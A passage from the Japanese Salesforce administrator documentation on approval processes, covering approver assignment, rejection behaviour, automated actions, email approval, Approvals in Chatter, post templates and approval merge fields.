のステップに入る] が選択されたままにします。
特定の種類のレコードのみがこのプロセスに入るようにする場合は、[次の場合に、このステップに入る...] を
選択し、該当するオプションを選択します。(1) このオプションについての詳細は、「承認プロセスに適用す
るレコードの制御」を参照してください。

(2) 承認ステップ条件の [それ以外の場合、] オプション
検索条件の指定または数式の入力で、条件に一致しない場合や、数式が Trueを返さない場合のレコードに対
する処理を選択します。

メモ: 承認プロセスが有効になった後は、その承認プロセスを無効にしても、その選択を変更することは
できません。

説明オプション

申請を承認し、すべての最終承認時のアクションを実行します。レコードを承認

申請を却下し、すべての最終却下時のアクションを実行します。このオプション
は、承認プロセスの最初のステップでのみ使用できます。

レコードを却下
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説明オプション

このステップをスキップし、次のステップに進みます。次のステップがある場合
のみ使用できます。
最初のステップにこのオプションを適用する場合、次の点に留意してください。

次のステップへ

• レコードが以降のステップのいずれでも条件を満たさない場合、そのレコード
は却下されます。

• 残りのすべてのステップを削除すると、Salesforce によりレコードが却下されま
す。

他のステップでこのオプションを適用する場合は、次の点に留意してください。
• 残りのすべてのステップを削除すると、Salesforce によってプロセスが終了しま

す。

関連トピック:

承認プロセスの設定
承認プロセスの確認
メール承認の有効化

承認ステップに割り当てる承認者の識別

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

このステップの承認申請の送信先を指定します。

承認者を指定します。
申請者が承認者を手動で選択する。(デフォルト)

次の承認者を選択するようにユーザは求められます。
標準またはカスタムの階層関係項目を使用して自動的に承認
者を割り当てる。

このオプションの横に表示されている項目のユーザに承認
申請を割り当てます。承認プロセスを設定する場合、この
項目を選択します。

自動的にキューに割り当てる。
キューをサポートするオブジェクトでのみ使用できます。
キューに承認申請を割り当てます。

承認者を選択

自動的に承認者に割り当てる。
特定ユーザ、特定キューまたは申請レコードに関係する
ユーザに承認申請を割り当てます。1 ステップあたり25件
まで追加できます。
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[自動的に承認者に割り当てる] が選択されている場合のみ使用できます。
最初の返答に基づいて承認または却下する。

承認申請に対する最初の返答によって、レコードを承認するか却下するかが決ま
ります。

複数の承認者が選択
された場合:

選択したすべての承認者から全員の承認を得る必要がある。
全員が申請を承認する場合のみレコードが承認されます。いずれかの承認者が申
請を却下すると、承認申請は却下されます。

ユーザは自分の承認設定で代理承認者を指定できます。代理承認者は承認申請を再割
り当てできません。つまり、申請の承認か却下しかできません。

代理承認者もこの申
請を承認可能にす
る。

関連トピック:

承認設定に関する考慮事項

承認ステップの却下動作の指定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

承認者が申請を却下する場合のアクションを設定します。承認プロセスの最終
却下時のアクションで、最初のステップの却下動作を決定します。

説明オプション

前のステップが承認されても申請を完全に却下しま
す。Salesforceは、このステップの却下時のすべてのア
クションと、最終却下時のすべてのアクションを実
行します。

このステップの却下時
のアクションすべて...

申請を却下し、承認申請を 1 つ前の承認者に戻しま
す。Salesforceは、このステップのすべての却下時のア
クションを実行します。

このステップの却下時
のアクションのみ実行
し...

承認プロセスへの自動アクションの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

アクションは、承認ステップ、申請、最終承認、最終却下、取り消しに関連付
けることができます。承認プロセスでは 4 つの自動アクションがサポートされ
ます。

説明アクションの種
類

指定したユーザに ToDo を割り当てます。ToDo の件名、状況、
優先度、期日を指定できます。

ToDo

指定したメールテンプレートを使用して、指定した受信者に
メールを送信します。

メールアラート
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説明アクションの種類

選択した項目の値を変更します。固定値を設定することも、数式を作成して設定す
ることもできます。

項目自動更新

指定したエンドポイントにメッセージを送信します。ユーザ名とデータを指定し
て、メッセージに含めることもできます。
連結オブジェクトの承認プロセスではサポートされません。

アウトバウンドメッ
セージ

例: 経費が承認されたら、支払のために精算書を印刷します。精算書を印刷するには、アウトバウンド
メッセージを追加して、適切な情報を Oracle の会計サービスに最終承認時のアクションとして送信しま
す。

承認プロセスの自動アクションのグループ
各承認プロセスは、申請のように、アクションがいつ発生するかに基づいてアクションのグループに整理
します。自動アクションを承認プロセスに追加するには、アクションのどのグループに追加するかを判断
します。
承認プロセスへの自動アクションの追加
承認プロセスを設定する前に自動アクションを作成しなかった場合、直接承認プロセスから作成できます。
承認プロセスへ既存の自動アクションの追加
自動アクションを作成済みの場合、承認プロセスに追加できます。

関連トピック:

承認プロセスの設定
自動アクションの実行
自動アクションに関する考慮事項

承認プロセスの自動アクションのグループ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

各承認プロセスは、申請のように、アクションがいつ発生するかに基づいてア
クションのグループに整理します。自動アクションを承認プロセスに追加する
には、アクションのどのグループに追加するかを判断します。

デフォルトアク
ション

次の場合に発生グループ

レコードのロック
(ロック)

ユーザがレコードの承認を初めて申請し
たとき

申請

なしこのステップで必要なすべての承認をレ
コードに得たとき

承認ステップの
承認
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デフォルトアクション次の場合に発生グループ

なし承認者がこのステップのこの要求を却下したとき承認ステップの却下

レコードのロック (ロッ
ク)

必要なすべての承認をレコードに得たとき最終承認

レコードのロック (ロッ
ク解除)

承認者が要求を却下し、最終却下状態に移行したとき最終却下

レコードのロック (ロッ
ク解除)

申請した承認要求が取り消されたとき取り消し

関連トピック:

自動アクションに関する考慮事項

承認プロセスへの自動アクションの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

承認時のアクションを作
成する
• 「アプリケーションの

カスタマイズ」

承認プロセスを設定する前に自動アクションを作成しなかった場合、直接承認
プロセスから作成できます。
1. アクションを追加する承認プロセスを開きます。
2. 適切な関連リストから [新規追加] をクリックします。[承認時のアクション]

と [却下時のアクション] が非表示の承認ステップでは、[アクションを表示]

をクリックします。
3. アクションの種類を選択します。

設定とアクションの種類の上限に達しているかどうかによって、使用可能な
アクションのリストが異なります。

4. アクションを設定します。

関連トピック:

承認プロセスの設定
自動アクションに関する考慮事項
承認プロセスの自動アクションのグループ

5907

承認コードではなくてクリックによる Salesforce の拡張



承認プロセスへ既存の自動アクションの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

承認時のアクションを選
択する
• 「アプリケーションの

カスタマイズ」

自動アクションを作成済みの場合、承認プロセスに追加できます。
1. アクションを追加する承認プロセスを開きます。
2. 適切な関連リストから [既存アクションの追加]をクリックします。ボタンが

非表示の場合は、[アクションを表示] をクリックします。
3. アクションの種類を選択します。
4. [選択可能なアクション] から [選択済みのアクション] へアクションを移動し

ます。
5. 変更内容を保存します。

関連トピック:

承認プロセスの自動アクションのグループ
自動アクションに関する考慮事項

承認プロセスの確認

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

承認プロセスを有効にする前に、プロセスのグラフィック表示を生成します。
Process Visualizerを使用して承認プロセスが作成されたときに達した決定事項を文
書化することで、ステップ所有者からの賛同を取得し会社の方針を強化します。

Process Visualizer の要件
Process Visualizer を使用する前に、ブラウザと組織が要件を満たしていること
を確認します。
Process Visualizer で承認プロセスを開く
承認プロセスをグラフィック表示するには、Process Visualizer で開きます。

関連トピック:

承認プロセスの設定
承認プロセスの有効化
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Process Visualizer の要件

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Process Visualizerを使用する前に、ブラウザと組織が要件を満たしていることを確
認します。
• ブラウザには、Adobe Flash Player プラグインのバージョン 9.0.115 以降が必要で

す。
• 組織に少なくとも 1 つの承認プロセスが定義されている必要があります。

関連トピック:

Process Visualizer で承認プロセスを開く
承認プロセスの確認

Process Visualizer で承認プロセスを開く

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

承認ステップを表示する
• 「設定・定義を参照す

る」

承認プロセスをグラフィック表示するには、Process Visualizer で開きます。
1. [設定] から、[クイック検索] ボックスに「承認プロセス」と入力し、[承認プ

ロセス] を選択します。
2. 表示する承認プロセス名をクリックします。
3. 承認プロセスの詳細ページで、[ダイアグラムの表示] をクリックします。

関連トピック:

承認プロセスの確認

5909

承認コードではなくてクリックによる Salesforce の拡張



承認プロセスの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

承認プロセスを有効にす
る
• 「アプリケーションの

カスタマイズ」

承認プロセスのステップを 1 つ以上作成したら、そのプロセスを有効にします。
1. 承認プロセスを開きます。
2. プロセスが正しく設定されていることを確認します。
3. [有効化] をクリックします。

関連トピック:

承認プロセスの確認
組織での承認の準備
承認の管理に関する考慮事項

組織での承認の準備

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザによってレコード承認申請ができることを確認し、承認者が簡単に承認
申請に返答できる方法を検討します。

ユーザによる承認申請
オブジェクトの承認プロセスを有効にした後で、オブジェクトのページレイ
アウトをカスタマイズしてレコード申請をサポートします。
ユーザによる承認申請への返答
[ホーム] ページまたはナビゲーションバーをカスタマイズして、ユーザが承
認申請を一目で参照できるようにします。
ユーザによるメール承認申請への返答
メール通知に承認者の判断に必要なすべての情報が含まれている場合は、
メール承認を有効にします。これにより、ユーザはメール通知に返信するだけで済みます。
ユーザによる Chatter からの承認申請への返答
ユーザが承認申請への返答を決定するために詳細情報を必要としない場合、[Chatter での承認]を有効にしま
す。これにより、日常の ToDo を継続する場合にフィードから離れる必要がありません。

関連トピック:

承認プロセスの設定
承認に関する考慮事項
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ユーザによる承認申請

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトを変更
する
• 「アプリケーションの

カスタマイズ」

オブジェクトの承認プロセスを有効にした後で、オブジェクトのページレイア
ウトをカスタマイズしてレコード申請をサポートします。
次のコンポーネントをページレイアウトに追加します。
• [承認申請] ボタン
• [承認履歴] 関連リスト

ユーザは、レコードの詳細ページの [承認履歴] 関連リストから承認申請を
し、承認プロセスの進行状況を追跡できます。

関連トピック:

ページレイアウト
組織での承認の準備

ユーザによる承認申請への返答

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

[ホーム] ページまたはナビゲーションバーをカスタマイズして、ユーザが承認申
請を一目で参照できるようにします。
Lightning Experience ユーザの場合、次の操作を実行します。
• 該当する Lightning の [ホーム] ページに [未承認申請] コンポーネントを追加し

ます。
このコンポーネントは [ホーム] ページでのみ使用できます。コンポーネント
を [ホーム] ページに追加するには、[設定] の [Lightning アプリケーションビル
ダー] を使用します。

• 該当する Lightning アプリケーションに [承認申請] ナビゲーション項目を追加
します。
この項目は Lightning アプリケーションでのみ使用できます。項目を Lightning アプリケーションに追加する
には、[設定] の [アプリケーションマネージャ] を使用します。

Salesforce Classic ユーザの場合、該当するホームページレイアウトに [未承認申請] 関連リストを追加します。

関連トピック:

Lightning Experience ホームページの設定
[ホーム] タブのページレイアウトのカスタマイズ
組織での承認の準備
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ユーザによるメール承認申請への返答

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メール通知に承認者の判断に必要なすべての情報が含まれている場合は、メー
ル承認を有効にします。これにより、ユーザはメール通知に返信するだけで済
みます。

メール承認に関する考慮事項
メール承認を有効にする前に、承認プロセスでメールがどのように機能する
かを確認します。
メール承認のデフォルトのテンプレート
メール承認を有効にすると、Salesforce は、ユーザがカスタムメールテンプ
レートを指定しない限り、承認プロセスにデフォルトのメールテンプレート
を使用します。
メール承認の有効化
考慮事項を確認し、適切なテンプレートの準備が完了したら、ユーザがメールから直接承認申請に返答で
きるようにします。

関連トピック:

組織での承認の準備
ユーザによる Chatter からの承認申請への返答

メール承認に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メール承認を有効にする前に、承認プロセスでメールがどのように機能するか
を確認します。
承認プロセスとの互換性

メール承認は、次の場合に承認プロセスでサポートされません。
• 承認をキューに割り当てる場合
• 最初のステップ後、承認者に手動での次の承認者選択を許可する場合

Salesforce との暗黙的な合意事項
メール承認機能を有効にすることで、Salesforce に次の処理の実行を許可しま
す。
• メール承認の処理
• 組織内のすべての有効なユーザに承認申請を更新
• 組織のユーザに代わって承認オブジェクトを更新

関連トピック:

承認に関する考慮事項
ユーザによるメール承認申請への返答
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メール承認のデフォルトのテンプレート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メール承認を有効にすると、Salesforce は、ユーザがカスタムメールテンプレー
トを指定しない限り、承認プロセスにデフォルトのメールテンプレートを使用
します。

Requesting User has requested your approval for the following item.

To approve or reject this item, reply to this email with the word APPROVE, APPROVED, YES,
REJECT, REJECTED, or NO
in the first line of the email message, or click this link:

Link to approval request page

If replying via email you can also add comments on the second line. The comments will be
stored with the approval request in Salesforce CRM.

Note: For salesforce.com to process your response the word APPROVE, APPROVED, YES, REJECT,
REJECTED, or NO must be in the very first line of the reply email. Also, any comment must
be in the second line.

組織の [Chatter での承認]が有効であり、承認者が通知をChatter投稿として受信するように設定している場合、
デフォルトのメールテンプレートには、次が追加されます。
You can also approve, reject and comment on this request from your Chatter feed:

Link to approval post in Chatter

メモ: 承認プロセスにカスタムメールテンプレートを使用する場合、リンクをクリックする方法とメール
で返信する方法の両方の返答方法について記述されているか確認します。「承認」の文字を間違えたり
行を間違えて入力したりするなど、ユーザが正しく記入していない場合、Salesforceはユーザの返答を登録
しません。

関連トピック:

メールテンプレートの管理
承認の差し込み項目
ユーザによるメール承認申請への返答
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メール承認の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

メール承認を有効化する
• 「アプリケーションの

カスタマイズ」

考慮事項を確認し、適切なテンプレートの準備が完了したら、ユーザがメール
から直接承認申請に返答できるようにします。
開始する前に、適切なユーザに「API の有効化」ユーザ権限を付与し、メールで
の申請承認に返答できるようにします。
1. [設定] から、[クイック検索]ボックスに「プロセスの自動化設定」と入力し、

[プロセスの自動化設定] を選択します。
2. [メール承認の有効化] を選択します。
3. 変更内容を保存します。

関連トピック:

メール承認に関する考慮事項
ユーザによるメール承認申請への返答

ユーザによる Chatter からの承認申請への返答

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザが承認申請への返答を決定するために詳細情報を必要としない場合、
[Chatter での承認] を有効にします。これにより、日常の ToDo を継続する場合に
フィードから離れる必要がありません。

[Chatter での承認] を有効にする準備
[Chatter での承認] は Chatter および承認機能の両方に依存しているため、組織
の設定を行うには、ただ機能を有効にするだけでは不十分です。[Chatter での
承認]を有効にする前に、[Chatter での承認]と投稿テンプレートの制限事項お
よび考慮事項について理解します。
[Chatter での承認] に関する考慮事項
[Chatter での承認] を有効にする前に、その機能を理解しておきます。
[Chatter での承認] の有効化
組織で承認および Chatter の両方が有効になっている場合、システム管理者は [Chatter での承認] を有効にで
きます。この機能では、Chatter フィードの投稿として承認申請を受け取ることができます。
承認申請投稿が表示される場所
組織の [Chatter での承認] が有効になっている場合、さまざまな Chatter フィードに承認申請投稿が表示され
ます。承認申請投稿を表示するには、承認レコードへのアクセス権が必要です。
承認申請の Chatter 投稿テンプレート
Chatter の承認投稿テンプレートにより、承認申請投稿を Chatter フィードに表示するときに投稿に含まれる
情報をカスタマイズできます。
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[Chatter での承認] を有効にする準備

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

[Chatter での承認]はChatterおよび承認機能の両方に依存しているため、組織の設
定を行うには、ただ機能を有効にするだけでは不十分です。[Chatter での承認]を
有効にする前に、[Chatter での承認]と投稿テンプレートの制限事項および考慮事
項について理解します。
承認申請をChatterに表示させる各オブジェクトに対し、次の手順を実行します。
1. フィード追跡を有効にします。
2. 承認投稿テンプレートを作成します。

ヒント: オブジェクトごとに、すべての承認プロセスに適用する投稿テ
ンプレートを 1 つ作成します。その投稿テンプレートをオブジェクトの
デフォルトとしてマークします。

関連トピック:

フィード追跡
承認申請の Chatter 投稿テンプレート
承認申請投稿が表示される場所
[Chatter での承認] に関する考慮事項

[Chatter での承認] に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

[Chatter での承認] を有効にする前に、その機能を理解しておきます。
• 組織で [Chatter での承認] を有効にすると、この機能がすべてのユーザに対し

て有効になります。有効になると、ユーザは、承認申請をChatterフィードの
投稿として受け取らないように自分の Chatter 設定を更新できます。

• Chatter投稿承認通知は、フィード追跡が有効になっているオブジェクトに関
連付けられた承認プロセスでのみ使用可能です。

• 承認オブジェクトが主従関係の従オブジェクトの場合、[所有者]は承認ペー
ジレイアウトまたは承認投稿テンプレートに使用できません。

制限事項
• [Chatter での承認] は代理承認者またはキューをサポートしていません。
• 投稿からの承認申請を取り消したり、再割り当てしたりすることはできません。代わりに、承認レコー

ドからこれらのアクションを実行します。
• サイトまたはポータルユーザからの承認申請はサポートされません。

承認投稿
• 承認投稿は Salesforce の画面からは削除できません。この投稿は API を介してのみ削除できます。
• 承認投稿テンプレートを選択していない場合、オブジェクトの承認投稿ではシステムのデフォルトテン

プレートが使用されます。ユーザがオブジェクトのデフォルトテンプレートを作成した場合は、そのデ
フォルトテンプレートが使用されます。
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• 承認申請投稿は承認レコードにアクセスできるユーザのみが参照できます。承認投稿のコメントは承認
レコードには保持されません。

• ユーザごとに、次のように異なる承認申請投稿の設定が表示されます。
– 承認者のみの投稿に [承認時のアクション] ボタンが表示される。その後は、プロファイルフィード

またはニュースフィードのみに表示されます。
– 承認者のみがヘッダーに承認者の名前が表示される。

• 承認プロセスの途中に承認プロセスの承認者、ステップ名、またはルーティング種別を変更する場合
は、既存の承認投稿は更新されません。

• 承認申請が取り消されると、新しい投稿が生成されます。この投稿は、オブジェクトの申請者、すべて
の承認者、フォローされている人の新しいフィードに表示されます。レコードフィードにも表示されま
す。

• このステップでは複数の承認者からの全員の承認が必要である場合は、そのステップの承認申請投稿の
ヘッダーにすべての選択済みの承認者は表示されません。承認者には投稿ヘッダーに自分の名前のみが
表示されます。

関連トピック:

ユーザによるメール承認申請への返答
[Chatter での承認] を有効にする準備
承認申請投稿が表示される場所
承認に関する考慮事項

[Chatter での承認] の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[Chatter での承認] を有効
にする
• 「アプリケーションの

カスタマイズ」

組織で承認および Chatter の両方が有効になっている場合、システム管理者は
[Chatter での承認] を有効にできます。この機能では、Chatter フィードの投稿とし
て承認申請を受け取ることができます。
開始する前に、組織のすべての承認プロセスが [Chatter での承認] を活用できる
ように適切に設定されているか確認します。この機能を有効にすると、すべて
の既存の有効な承認プロセスで Chatter 投稿の生成を開始します。
1. [設定] から、[クイック検索]ボックスに「Chatter 設定」と入力し、[Chatter

設定] を選択します。
2. [編集] をクリックします。
3. [承認を許可] を選択します。
4. 変更内容を保存します。

関連トピック:

[Chatter での承認] を有効にする準備
[Chatter での承認] に関する考慮事項
承認申請投稿が表示される場所
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承認申請投稿が表示される場所

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織の [Chatter での承認] が有効になっている場合、さまざまな Chatter フィード
に承認申請投稿が表示されます。承認申請投稿を表示するには、承認レコード
へのアクセス権が必要です。
承認申請投稿は次のフィードに表示されます。
• 割り当てられた承認者の Chatter フィード
• 申請者のプロファイル
• 申請者が承認申請レコードをフォローしている場合の申請者のChatterのフィー

ド
• 承認申請レコードの Chatter フィード
• 承認申請レコードをフォローしているユーザの Chatter フィード
• 承認レコードをフォローしているユーザの Chatter フィードのオブジェクト固有のフィルタ
• 承認レコードへのアクセス権を持つユーザの [会社] フィルタ

関連トピック:

Chatter 承認申請を除外した場合の動作
[Chatter での承認] に関する考慮事項
ユーザによる Chatter からの承認申請への返答

承認申請の Chatter 投稿テンプレート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Chatter の承認投稿テンプレートにより、承認申請投稿を Chatter フィードに表示
するときに投稿に含まれる情報をカスタマイズできます。

承認申請の Chatter 投稿テンプレートに関する考慮事項
投稿テンプレートを使用する場合には、次の制限事項と連動関係に留意して
ください。
Chatter 投稿テンプレートの作成
承認申請投稿に表示する項目を特定します。

関連トピック:

削除されたカスタム項目の管理
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承認申請の Chatter 投稿テンプレートに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

投稿テンプレートを使用する場合には、次の制限事項と連動関係に留意してく
ださい。
制限事項

• 関連付けられたオブジェクトの承認およびフィード追跡を有効にする必
要があります。

• 承認プロセスで使用中の承認投稿テンプレートは削除できません。
連動関係

• カスタム項目を削除すると、その項目が参照するすべての承認投稿テン
プレートから削除されます。既存の投稿は影響を受けません。カスタム
項目を復元すると、[選択可能な項目] リストには復元されますが、以前に
その項目が含まれていた承認投稿テンプレートには復元されません。

• カスタムオブジェクトを削除 (または復元) すると、関連付けられている承認投稿テンプレートと、Chatter

フィードにすでに存在する、そのオブジェクトの承認申請投稿も削除 (または復元) されます。
• カスタムオブジェクトの名前を変更すると、そのオブジェクトに関連付けられている承認投稿テンプ

レートもそれに応じて更新されます。

関連トピック:

Chatter 投稿テンプレートの作成
承認に関する考慮事項

Chatter 投稿テンプレートの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

承認申請投稿テンプレー
トを作成する
• 「アプリケーションの

カスタマイズ」

承認申請投稿に表示する項目を特定します。
1. [設定] から、[クイック検索] ボックスに「投稿テンプレート」と入力し、[投

稿テンプレート] を選択します。
2. [新規テンプレート] をクリックします。
3. テンプレートのオブジェクトを選択します。
4. [次へ] をクリックします。
5. テンプレートの名前と説明を入力します。
6. このテンプレートを関連オブジェクトのデフォルトに設定する場合は、[デ

フォルト] を選択します。
7. 承認申請投稿に表示する項目を追加します (最大 4 項目)。

[コメント] や [説明] などのテキストが多く含まれる項目は下部に配置するこ
とをお勧めします。
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8. 変更内容を保存します。

関連トピック:

承認申請通知テンプレートの選択
承認申請の Chatter 投稿テンプレートに関する考慮事項

承認に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

承認プロセスを使用して自動化する前に、機能の制限について認識しておく必
要があります。
ユーザは、[承認申請]をクリックしたときにどの承認プロセスが起動されるかわ
かりません。各承認プロセスの条件と実施内容をユーザに理解してもらいます。
レコードが開始条件を満たさない場合、またはユーザが承認プロセスの許可を
受けた申請者でない場合は、Salesforce にエラーが表示されます。

承認の設定に関する考慮事項
承認プロセスを作成または編集する場合、承認の他の機能との互換性に留意
します。開始する前に承認プロセスのステップを計画します。
承認の差し込み項目
承認の差し込み項目には、{!ApprovalRequest.fieldName}、{!ApprovalRequestingUser.fieldName}

などがあります。これらの項目は特定のメールテンプレートでサポートされ、承認プロセスインスタンス
の状況に基づいて異なる値を返します。
承認設定に関する考慮事項
特定の承認ステップ (ジャンプスタートウィザードの場合は唯一のステップ)に承認者を指定する場合は、
次の考慮事項に留意してください。
承認の管理に関する考慮事項
有効化、削除など既存の承認プロセスを管理する場合は、次の点に留意してください。

関連トピック:

メール承認に関する考慮事項
[Chatter での承認] に関する考慮事項
承認: Salesforce1 で使用できない機能とその新機能
承認履歴レポートの考慮事項
変更セットでの承認プロセスの制限
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承認の設定に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

承認プロセスを作成または編集する場合、承認の他の機能との互換性に留意し
ます。開始する前に承認プロセスのステップを計画します。
関連付けられたオブジェクト

承認オブジェクトが主従関係の従オブジェクトの場合、[所有者]は承認ペー
ジレイアウトまたは承認投稿テンプレートに使用できません。

承認条件
承認条件 (開始条件またはステップ条件) では、ランダム値を解決する式は参
照されません。そのため、条件を再評価する必要がある場合でも、レコード
の評価は毎回同じになります。

他の機能との互換性
• フローにより、未承認のレコードを削除できます。
• 自動アクションを設計すると、ワークフロールールと承認プロセスの両方に使用できます。

承認での項目自動更新アクション
• 承認プロセスでは、更新されたオブジェクトのワークフロールールを再評価する項目自動更新アクショ

ンを指定できます。ただし、再評価されたワークフロールールにクロスオブジェクト項目自動更新があ
る場合、それらのクロスオブジェクト項目自動更新は無視されます。

• 承認時のアクションとして実行される項目自動更新は、ワークフロールールやエンタイトルメントプロ
セスをトリガしません。

エラーの予測
承認にエラーが発生したら、コンテンツの確認を検討してください。これにより、一般的な問題を予測し、
エラーの発生が減るように承認プロセスを設定できます。

関連トピック:

この承認エラーはどういう意味でしょうか?

承認プロセスの設定
自動アクションに関する考慮事項
承認申請の Chatter 投稿テンプレートに関する考慮事項
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承認の差し込み項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

承認の差し込み項目には、{!ApprovalRequest.fieldName}、
{!ApprovalRequestingUser.fieldName} などがあります。これらの項目は
特定のメールテンプレートでサポートされ、承認プロセスインスタンスの状況
に基づいて異なる値を返します。

ヒント: 申請者は必ずしも現在のユーザではありません。カスタムメール
テンプレートの場合、{!User.fieldName} ではなく、
{!ApprovalRequestingUser.fieldName} を使用します。

承認の差し込み項目がサポートされる場所
承認プロセスの差し込み項目は、メールテンプレートでは使用できますが、差
し込み印刷テンプレートでは使用できません。{!ApprovalRequest.Comments}

を除き、メールテンプレートにある {!ApprovalRequest.field_name} という名前の承認差し込み項目で
は、承認プロセスの承認割り当てメールおよびメールアラートでのみ値が返されます。ワークフロールールの
メールアラートなど、他のメールで承認の差し込み項目を使用すると、null が返されます。

差し込み項目が返す値
ApprovalRequest 差し込み項目の生成値は、承認プロセスがどのステップにあるかによって異なります。
• 承認申請メールでは、差し込み項目は申請者名と最初のステップ名を返します。
• 申請が承認されると、差し込み項目は最新の承認者名と 2 番目のステップ名を返します (該当する場合)。
• これ以降のアクションでは、差し込み項目の値は完了した前のステップを返します。
• {!ApprovalRequest.Comments} は、複数の承認者全員からの承認が必要な承認ステップで、メールに

最後に入力されたコメントのみを返します。

関連トピック:

メール承認のデフォルトのテンプレート
メールテンプレートの管理

承認設定に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

特定の承認ステップ (ジャンプスタートウィザードの場合は唯一のステップ)に承
認者を指定する場合は、次の考慮事項に留意してください。
• 次の権限のあるユーザは、指定承認者でなくても承認申請に返答できます。

– 「すべてのデータの編集」
– オブジェクトに対する「すべての編集」

• 割り当てられる承認者に、承認申請対象レコードの参照アクセス権を必ず付
与してください。たとえば、経費レコードを表示できないユーザは経費承認
申請を表示できません。
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• ユーザに手動の承認者選択を許可する承認プロセスでは、ユーザが自分を承認者に選択することもできま
す。

• 1 つのステップで同じユーザに複数回承認申請を割り当てることができます。ただし、Salesforceがユーザに
申請を送信するのは 1 回のみです。

• レコードが承認ステップに入ったとき、および承認プロセスが後でそのステップに戻ったときに承認者の
リストがどうなるのかを次に示します。
– 返答したユーザが指定承認者のリストに含まれておらず、オブジェクトの「すべてのデータの編集」ま

たは「すべての編集」権限がある場合、承認者のリストの元の承認者はそのユーザに置き換わります。
– 返答したユーザが指定承認者のリストに含まれている場合、そのステップの承認者のリストは変更され

ません。この動作は、承認者を指定する項目値が変更されていても発生します。
たとえば、承認プロセスの最初のステップでユーザのマネージャから承認が申請されるとします。2 番目の
ステップで承認申請が却下されると、承認申請は最初のステップに戻ります。次の表に、承認者のリスト
がどうなるのかを示します。

指定承認者状況

マネージャユーザのマネージャが最初に承認申請に返答する。

元のマネージャ
新しいマネージャは、このステップの指定承認者で
はありません。

ユーザのマネージャが最初に承認申請に返答する。
その後、ユーザのマネージャが変更される。

